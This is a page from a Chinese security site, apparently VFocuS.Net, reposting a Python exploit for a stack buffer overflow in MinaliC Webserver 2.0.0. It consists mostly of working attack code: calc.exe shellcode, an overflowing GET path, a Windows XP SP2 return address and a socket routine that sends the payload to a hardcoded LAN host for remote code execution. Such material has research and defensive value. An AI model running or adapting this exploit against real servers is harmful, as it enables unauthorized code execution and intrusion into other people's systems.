首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
MinaliC Webserver 2.0.0 - Buffer Overflow
来源:http://www.techorganic.com 作者:superkojiman 发布时间:2013-04-16  

#!/usr/bin/env python

# Exploit Title: MinaliC Webserver buffer overflow
# Date: 12 Apr 2013
# Exploit Author: superkojiman - http://www.techorganic.com
# Vendor Homepage: http://minalic.sourceforge.net/
# Version: MinaliC Webserver 2.0.0
# Tested on: Windows XP Pro SP2, English
#
# Description:
# Remote command execution by triggering a buffer overflow in the GET
# request.
#

import socket
import struct

# 74 bytes calc.exe from http://code.google.com/p/win-exec-calc-shellcode/
shellcode = (
"\x31\xd2\x52\x68\x63\x61\x6c\x63\x89\xe6\x52\x56\x64\x8b\x72" +
"\x30\x8b\x76\x0c\x8b\x76\x0c\xad\x8b\x30\x8b\x7e\x18\x8b\x5f" +
"\x3c\x8b\x5c\x1f\x78\x8b\x74\x1f\x20\x01\xfe\x8b\x4c\x1f\x24" +
"\x01\xf9\x0f\xb7\x2c\x51\x42\xad\x81\x3c\x07\x57\x69\x6e\x45" +
"\x75\xf1\x8b\x74\x1f\x1c\x01\xfe\x03\x3c\xae\xff\xd7\xcc"
)

# EIP at offset 245 when minalic.exe is in C:\minalic\bin
# EBX points directly to the "Host:" value, so we put our shellcode there.
# JMP EBX @ 0x7C955B47, NTDLL.DLL, Windows XP Pro SP2 English

junk = "\x41" * 245
ret = struct.pack("<I", 0x7C955B47)
host = "\x90" * 30 + shellcode + "\x90" * 31

buf = "GET /" + junk + ret + " HTTP/1.1\r\n" + "Host: " + host + "\r\n\r\n"

print "[+] sending buffer size", len(buf)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.37.132", 8080))
s.send(buf)
 


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·AT-TFTP Server 2.0 - Stack Bas
·Ruby Gem md2pdf Command Inject
·KNet Web Server 1.04b - Stack
·Free Float FTP Server USER Com
·Nagios Remote Plugin Executor
·SAP ConfigServlet OS Command E
·Ruby Gem kelredd-pruview 0.3.8
·TP-LINK TL-WR741N / TL-WR741ND
·MongoDB nativeHelper.apply Rem
·Mikrotik Syslog Server Remote
·ircd-hybrid 8.0.5 Denial Of Se
·MinaliC Webserver 2.0.0 Buffer
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved